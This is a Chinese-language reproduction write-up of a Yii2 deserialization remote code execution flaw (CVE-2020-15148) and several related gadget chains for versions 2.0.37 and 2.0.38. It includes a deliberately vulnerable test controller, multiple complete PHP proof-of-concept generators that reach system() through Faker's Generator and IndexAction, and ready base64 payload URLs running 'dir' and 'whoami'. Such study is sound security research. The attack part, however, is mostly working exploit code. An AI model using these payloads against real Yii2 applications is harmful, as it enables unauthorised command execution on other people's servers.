环境搭建
下载yii2.0.37版本,https://github.com/yiisoft/yii2/releases/tag/2.0.37, 放在phpstudy的www目录下。
这是一个反序列化利用链,所以还需要一个反序列化的入口点,在controllers目录下创建一个TestController.php
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
class TestController extends \yii\web\Controller
{
public function actionSss($data){
return unserialize(base64_decode($data));
}
}
?>
然后修改/config/web.php文件中的cookieValidationKey的值,随便修改 然后运行命令开启服务
php yii serve
看到如下页面及安装成功
漏洞复现(CVE-2020-15148)
使用poc.php生成poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
使用payload
http://127.0.0.1/basic/web/index.php?r=test/sss&data=[payload]
漏洞分析
参考:https://blog.csdn.net/rfrder/article/details/113824239
起始点为vendor\yiisoft\yii2\db\BatchQueryResult.php 中的destruct方法 我们跟进reset()函数 这里的_dataReader 可控,然后又调用了他的close() 方法,这里我们可以找找有没有可利用的__call 函数,全局搜索call,在\vendor\fzaninotto\faker\src\Faker\Generator.php 中找到了合适的,
因为close是无参方法,所以__call中的$method是close,attributes为空。 继续跟踪format函数 这里的formatters 也是可控的,也就是说执行什么函数确定了,但是由于调用__call 时没有参数所以这里只能执行phpinfo()等,还需要找到合适的无参数函数才能RCE
我们继续全局搜索找无参数可以命令执行的函数
function\s(\w)+?\(\)+(.|\s)+?call_user_func
找到了这个玩意,里面参数都是可控的,可以直接利用 最后反序列化链如下
BatchQueryResult->__destruct()->reset()->close()
↓↓↓
Generator->__call()->format()->getFormatter()
↓↓↓
IndexAction->run()
payload
<?php
namespace yii\rest{
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = "system";
$this->id = "dir";
}
// public function run()
// {
// if ($this->checkAccess) {
// call_user_func($this->checkAccess, $this->id);
// }
// return $this->prepareDataProvider();
// }
}
}
namespace Faker
{
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
//这里调用上一个类的方法的姿势需要学习一波
$this->formatters['close'] = [new IndexAction(), "run"];
}
// public function __call($method, $attributes)
// {
// return $this->format($method, $attributes);
// }
// public function format($formatter, $arguments = array())
// {
// return call_user_func_array($this->getFormatter($formatter), $arguments);
// }
// public function getFormatter($formatter)
// {
// if (isset($this->formatters[$formatter])) {
// return $this->formatters[$formatter];
// }
// foreach ($this->providers as $provider) {
// if (method_exists($provider, $formatter)) {
// $this->formatters[$formatter] = array($provider, $formatter);
// return $this->formatters[$formatter];
// }
// }
// throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
// }
}
}
namespace yii\db
{
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator;
}
// public function __destruct()
// {
// // make sure cursor is closed
// $this->reset();
// }
// public function reset()
// {
// if ($this->_dataReader !== null) {
// $this->_dataReader->close();
// }
// $this->_dataReader = null;
// $this->_batch = null;
// $this->_value = null;
// $this->_key = null;
// }
}
}
namespace
{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
成功:
其他反序列化链1(2.0.38可用)
我们查看2.0.38的commit记录,https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99,修复方法为阻止yii\db\BatchQueryResult 这个类反序列化 我们来看看是如何防止反序列化的,当这个类反序列化时会调用__wakeup() 函数,同时使用throw 调用BadMethodCallException 来抛出一个异常
// 反序列化时调用__wakeup
public function __wakeup()
{
// 通过throw调用BadMethodCallException抛出异常,以此结束反序列化
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
BadMethodCallException 是PHP标准库里的异常处理类,是PHP自带的__CLASS__ 是php里的魔术常量,返回该类被定义时的名字,可以参考PHP 魔术常量
这里反序列化链的起始点不能用了,但是后面的链都能用,所以我们再找个__destruct 这样的起始点是最快的,使用__destruct\(\)\s+\{([a-zA-Z0-9\s\S]+?)\$this-> 查找,发现RunProcess类的__destruct可以利用:
这里的$process 是可控的,我我们可以用它来调用__call方法,poc如下
注:习惯把调用的函数保留,这样利用链看的清楚一些。
<?php
namespace yii\rest{
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = "system";
$this->id = "dir";
}
// public function run()
// {
// if ($this->checkAccess) {
// call_user_func($this->checkAccess, $this->id);
// }
// return $this->prepareDataProvider();
// }
}
}
namespace Faker
{
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
// 这里调用上一个类的方法的姿势需要学习一波
// 记得将close换为isRunning,这里忘记换了,搞了半天
$this->formatters['isRunning'] = [new IndexAction(), "run"];
}
// public function __call($method, $attributes)
// {
// return $this->format($method, $attributes);
// }
// public function format($formatter, $arguments = array())
// {
// return call_user_func_array($this->getFormatter($formatter), $arguments);
// }
// public function getFormatter($formatter)
// {
// if (isset($this->formatters[$formatter])) {
// return $this->formatters[$formatter];
// }
// foreach ($this->providers as $provider) {
// if (method_exists($provider, $formatter)) {
// $this->formatters[$formatter] = array($provider, $formatter);
// return $this->formatters[$formatter];
// }
// }
// throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
// }
}
}
namespace Codeception\Extension
{
use Faker\Generator;
class RunProcess
{
private $processes = [];
public function __construct()
{
$this->processes[] = new Generator();
}
// public function __destruct()
// {
// $this->stopProcess();
// }
// public function stopProcess()
// {
// foreach (array_reverse($this->processes) as $process) {
// /** @var $process Process **/
// if (!$process->isRunning()) {
// continue;
// }
// $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
// $process->stop();
// }
// $this->processes = [];
// }
}
}
namespace
{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
payload
http://127.0.0.1/basic/web/index.php?r=test/sss&data=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czozOiJkaXIiO31pOjE7czozOiJydW4iO319fX19
其他反序列化链2(2.0.38可用)
DiskKeyCache.php的Swift_KeyCache_DiskKeyCache类同样可以利用 继续跟踪clearAll()函数 虽然没有找到可以触发__call 的地方,但是存在字符串的拼接,可以找有没有可利用的__toString() ,使用__toString()[\s\S]+?\$this->[\s\S]+?->[\s\S]+?\(\) 全局搜索,可以找到很多,先试试其他师傅说的see.php中的 最后反序列化链如下
Swift_KeyCache_DiskKeyCache->clearAll()
↓↓↓
See->__toString()
↓↓↓
Generator->__call()->format()->getFormatter()
↓↓↓
IndexAction->run()
poc
<?php
namespace yii\rest{
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = "system";
$this->id = "whoami";
}
// public function run()
// {
// if ($this->checkAccess) {
// call_user_func($this->checkAccess, $this->id);
// }
// return $this->prepareDataProvider();
// }
}
}
namespace Faker
{
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
// 这里调用上一个类的方法的姿势需要学习一波
// 记得将close换为isRunning,这里忘记换了,搞了半天
$this->formatters['render'] = [new IndexAction(), "run"];
}
// public function __call($method, $attributes)
// {
// return $this->format($method, $attributes);
// }
// public function format($formatter, $arguments = array())
// {
// return call_user_func_array($this->getFormatter($formatter), $arguments);
// }
// public function getFormatter($formatter)
// {
// if (isset($this->formatters[$formatter])) {
// return $this->formatters[$formatter];
// }
// foreach ($this->providers as $provider) {
// if (method_exists($provider, $formatter)) {
// $this->formatters[$formatter] = array($provider, $formatter);
// return $this->formatters[$formatter];
// }
// }
// throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
// }
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
final class See
{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
// public function __toString() : string
// {
// return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
// }
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache
{
private $path;
private $keys = [];
public function __construct()
{
$this->path = new See();
$this->keys = ["hello"];
}
// public function __destruct()
// {
// foreach ($this->keys as $nsKey => $null) {
// $this->clearAll($nsKey);
// }
// }
// public function clearAll($nsKey)
// {
// if (array_key_exists($nsKey, $this->keys)) {
// foreach ($this->keys[$nsKey] as $itemKey => $null) {
// $this->clearKey($nsKey, $itemKey);
// }
// if (is_dir($this->path.'/'.$nsKey)) {
// rmdir($this->path.'/'.$nsKey);
// }
// unset($this->keys[$nsKey]);
// }
// }
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
payload
http://127.0.0.1/basic/web/index.php?r=test/sss&data=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086NDI6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxEb2NCbG9ja1xUYWdzXFNlZSI6MTp7czoxNDoiACoAZGVzY3JpcHRpb24iO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjY6InJlbmRlciI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czo2OiJ3aG9hbWkiO31pOjE7czozOiJydW4iO319fX1zOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7aTowO3M6NToiaGVsbG8iO319
自己找个__toString()
这里自己找了下发现Nullable.php中的__toString() 也可以 poc:
<?php
namespace yii\rest{
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = "system";
$this->id = "whoami";
}
}
}
namespace Faker
{
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
// 这里调用上一个类的方法的姿势需要学习一波
// 记得将close换为isRunning,这里忘记换了,搞了半天
$this->formatters['__toString'] = [new IndexAction(), "run"];
}
}
}
namespace phpDocumentor\Reflection\Types{
use Faker\Generator;
final class Nullable
{
private $realType;
public function __construct()
{
$this->realType = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\Types\Nullable;
class Swift_KeyCache_DiskKeyCache
{
private $path;
private $keys = [];
public function __construct()
{
$this->path = new Nullable();
$this->keys = ["hello"];
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
然后下面这些也可以
其他反序列化链3(2.0.37可用)
这条链不适用于2.0.38,是2.0.37的另外一条链
BatchQueryResult->__destruct()->reset()->close()
第一条链到close()函数时是找__call()函数,这条链直接找可利用的close() 这个没复现成功,poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
|